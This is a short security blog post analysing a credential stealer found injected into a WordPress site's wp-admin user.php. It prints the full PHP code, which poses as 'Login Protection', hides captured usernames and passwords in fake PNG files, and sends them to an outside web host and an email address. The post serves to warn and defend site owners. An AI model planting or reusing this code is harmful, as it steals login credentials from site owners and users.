Following Fio’s recent post on the Joomla password stealer, here’s another beautiful example of password stealer. This time from WordPress environment.
It’s easy to understand, but what’s interesting – it looks like legitimate code so you can easily overlook it. It stores its data in “png” files within ./wp-includes/images/ path and sends them to a non-obfuscated email address.
This is the bad part that was injected on the file user.php on wp-admin:
// Start Login Protection
$ip = $_SERVER["REMOTE_ADDR"];
$stringData = $_SERVER["SERVER_NAME"] . "|" . $username . ":" . $password . "|" . $ip . "\n";
$today = date("j");
$myErrorFile = getcwd() . "/wp-includes/images/icon-download.png";
$mySuccessFile = getcwd() . "/wp-includes/images/icon-up-flag.png";
$failedLogContent = @file_get_contents($myErrorFile);
$successLogContent = @file_get_contents($mySuccessFile);
$errorFileLines = explode("\n", $failedLogContent);
$diff = $today - $errorFileLines[0];
if ( ($diff >= 7) || ($diff < 0) ) { @unlink($myErrorFile); $failedLogContent = ""; }
if (preg_match("/{$ip}/i", $successLogContent)) $userOk = 1;
preg_match_all("/{$ip}/i", $failedLogContent, $matches);
if ( (count($matches[0]) > 5) && (!$userOk) ) $password = "G4o7Ivc29OVOxcp5";
if ( wp_check_password($password, $userdata->user_pass, $userdata->ID) ) {
@file_get_contents("http://www.carriagebandb.com/cgi-bin/optimus.pl?prime=$stringData");
@mail("anto@netherlandbarmuda.com", $_SERVER["SERVER_NAME"], $stringData);
if (!$userOk) {
$fh = fopen($mySuccessFile, "a");
fwrite($fh, "$ip\n");
fclose($fh);
}
} else {
if (!(is_file($myErrorFile))) {
$fh = fopen($myErrorFile, "w");
fwrite($fh, "$today\n");
fclose($fh);
}
$fh = fopen($myErrorFile, "a");
fwrite($fh, $stringData);
fclose($fh);
}
// END Login Protection</pre>
Anyway, keep your eyes open, guys 🙂